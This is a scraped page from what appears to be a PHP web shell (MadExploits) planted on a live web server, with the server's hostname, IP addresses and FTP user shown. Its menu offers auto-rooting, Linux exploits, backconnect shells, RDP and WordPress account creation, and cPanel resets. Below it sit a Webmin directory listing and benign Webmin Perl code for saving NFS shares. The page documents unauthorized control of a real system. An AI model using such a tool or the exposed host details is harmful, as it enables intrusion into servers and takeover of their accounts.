Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.213
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
dfsadmin /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
196
B
-rw-r--r--
acl_security.pl
468
B
-rwxr-xr-x
backup_config.pl
602
B
-rwxr-xr-x
config-openserver
123
B
-rw-r--r--
config-solaris
153
B
-rw-r--r--
config-unixware
123
B
-rw-r--r--
config.info
211
B
-rw-r--r--
config.info.ca
267
B
-rw-r--r--
config.info.de
232
B
-rw-r--r--
config.info.es
247
B
-rw-r--r--
config.info.fr
161
B
-rw-r--r--
config.info.hu
209
B
-rw-r--r--
config.info.nl
215
B
-rw-r--r--
config.info.pl
234
B
-rw-r--r--
config.info.sv
165
B
-rw-r--r--
config.info.tr
141
B
-rw-r--r--
config.info.zh
125
B
-rw-r--r--
config.info.zh_TW
167
B
-rw-r--r--
defaultacl
7
B
-rw-r--r--
delete_share.cgi
354
B
-rwxr-xr-x
delete_shares.cgi
481
B
-rwxr-xr-x
dfs-lib.pl
3.32
KB
-rwxr-xr-x
edit_share.cgi
4.14
KB
-rwxr-xr-x
index.cgi
2.76
KB
-rwxr-xr-x
log_parser.pl
882
B
-rwxr-xr-x
module.info
193
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
113
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
139
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
159
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
190
B
-rw-r--r--
module.info.ca
0
B
-rw-r--r--
module.info.ca.auto
131
B
-rw-r--r--
module.info.cs
0
B
-rw-r--r--
module.info.cs.auto
115
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
107
B
-rw-r--r--
module.info.de
0
B
-rw-r--r--
module.info.de.auto
112
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
191
B
-rw-r--r--
module.info.es
0
B
-rw-r--r--
module.info.es.auto
119
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
128
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
143
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
103
B
-rw-r--r--
module.info.fr
0
B
-rw-r--r--
module.info.fr.auto
131
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
131
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
130
B
-rw-r--r--
module.info.hu
0
B
-rw-r--r--
module.info.hu.auto
141
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
121
B
-rw-r--r--
module.info.ja
0
B
-rw-r--r--
module.info.ja.auto
139
B
-rw-r--r--
module.info.ko
0
B
-rw-r--r--
module.info.ko.auto
128
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
114
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
120
B
-rw-r--r--
module.info.ms
0
B
-rw-r--r--
module.info.ms.auto
115
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
109
B
-rw-r--r--
module.info.nl
0
B
-rw-r--r--
module.info.nl.auto
123
B
-rw-r--r--
module.info.no
0
B
-rw-r--r--
module.info.no.auto
111
B
-rw-r--r--
module.info.pl
0
B
-rw-r--r--
module.info.pl.auto
117
B
-rw-r--r--
module.info.pt
0
B
-rw-r--r--
module.info.pt.auto
134
B
-rw-r--r--
module.info.pt_BR
0
B
-rw-r--r--
module.info.pt_BR.auto
143
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
136
B
-rw-r--r--
module.info.ru
0
B
-rw-r--r--
module.info.ru.auto
152
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
120
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
130
B
-rw-r--r--
module.info.sv
0
B
-rw-r--r--
module.info.sv.auto
107
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
198
B
-rw-r--r--
module.info.tr
0
B
-rw-r--r--
module.info.tr.auto
149
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
153
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
190
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
142
B
-rw-r--r--
module.info.zh
0
B
-rw-r--r--
module.info.zh.auto
113
B
-rw-r--r--
module.info.zh_TW
0
B
-rw-r--r--
module.info.zh_TW.auto
122
B
-rw-r--r--
rbac-mapping
115
B
-rw-r--r--
restart_sharing.cgi
302
B
-rwxr-xr-x
save_share.cgi
3.71
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : save_share.cgi
#!/usr/bin/perl # save_share.cgi # Save changes to a shared directory require './dfs-lib.pl'; &error_setup($text{'save_err'}); use Socket; &ReadParse(); @shlist = &list_shares(); if ($in{'delete'}) { # Redirect to deletion CGI &redirect("delete_share.cgi?idx=$in{'idx'}"); exit; } # check inputs if ($in{directory} !~ /^\/.*/) { &error(&text('save_edirectory', $in{'directory'})); } if (!(-d $in{directory})) { &error(&text('save_edirectory2', $in{'directory'})); } @rolist = split(/\s+/, $in{rolist}); &check_hosts(@rolist); @rwlist = split(/\s+/, $in{rwlist}); &check_hosts(@rwlist); @rtlist = split(/\s+/, $in{rtlist}); &check_hosts(@rtlist); if ($in{readwrite} == 2 && !@rwlist) { &error($text{'save_erw'}); } if ($in{readonly} == 2 && !@rolist) { &error($text{'save_ero'}); } if ($in{root} == 2 && !@rtlist) { &error($text{'save_eroot'}); } # Remove from the read-only list any hosts shared read-write as well if ($in{readwrite} == 1) { $in{readonly} = 0; } elsif ($in{readwrite} == 2) { foreach $rwh (@rwlist) { if (($idx = &indexof($rwh, @rolist)) != -1) { splice(@rolist, $idx, 1); } } if (@rolist == 0 && $in{readonly} == 2) { $in{readonly} = 0; } } &lock_file($config{dfstab_file}); foreach $s (@shlist) { $taken = $s if ($s->{'dir'} eq $in{directory}); } if (defined($in{'idx'})) { $share = $shlist[$in{'idx'}]; $olddir = $share->{'dir'}; } $share->{'dir'} = $in{'directory'}; $share->{'desc'} = $in{'desc'}; $share->{'type'} = 'nfs'; if (defined($in{'idx'})) { # Changing an existing share if ($taken && $taken->{'index'} != $in{'idx'}) { &error(&text('save_ealready', $in{'directory'})); } &parse_options($share->{'opts'}); &set_options(); $share->{'opts'} = &join_options(); &modify_share($share); } else { # Creating a new share if ($taken) { &error(&text('save_ealready', $in{'directory'})); } &set_options(); $share->{'opts'} = &join_options(); &create_share($share); } &unlock_file($config{dfstab_file}); if (defined($in{'idx'})) { &webmin_log('modify', 'share', $olddir, \%in); } else { &webmin_log('create', 'share', $share->{'dir'}, \%in); } &redirect(""); # set_options() # Fill in the options associative array sub set_options { if ($in{readonly} == 0) { delete($options{"ro"}); } elsif ($in{readonly} == 1) { $options{"ro"} = ""; } elsif ($in{readonly} == 2) { $options{"ro"} = join(':', @rolist); } if ($in{readwrite} == 0) { delete($options{"rw"}); } elsif ($in{readwrite} == 1) { $options{"rw"} = ""; } elsif ($in{readwrite} == 2) { $options{"rw"} = join(':', @rwlist); } if ($in{root} == 0) { delete($options{"root"}); } elsif ($in{root} == 2) { $options{"root"} = join(':', @rtlist); } if (!$access{'simple'}) { if ($in{nosub}) { $options{"nosub"} = ""; } else { delete($options{"nosub"}); } if ($in{nosuid}) { $options{"nosuid"} = ""; } else { delete($options{"nosuid"}); } if ($in{secure}) { $options{"secure"} = ""; } else { delete($options{"secure"}); } if ($in{kerberos}) { $options{"kerberos"} = ""; } else { delete($options{"kerberos"}); } if ($in{'anon_m'} == 0) { delete($options{"anon"}); } elsif ($in{'anon_m'} == 1) { $options{"anon"} = -1; } else { $options{"anon"} = getpwnam($in{"anon"}); } if ($in{aclok}) { $options{"aclok"} = ""; } else { delete($options{"aclok"}); } if ($gconfig{'os_version'} >= 7) { if ($in{'public'}) { $options{'public'} = ""; } else { delete($options{'public'}); } if (!$in{'index_def'}) { $options{'index'} = $in{'index'}; } else { delete($options{'index'}); } } } } # check_hosts(host, host, ...) # Die if any of the listed hosts does not exist sub check_hosts { local $h; if ($gconfig{'os_version'} < 7) { foreach $h (@_) { &to_ipaddress($h) || &to_ip6address($h) || &error(&text('save_ehost', $h)); } } }
Close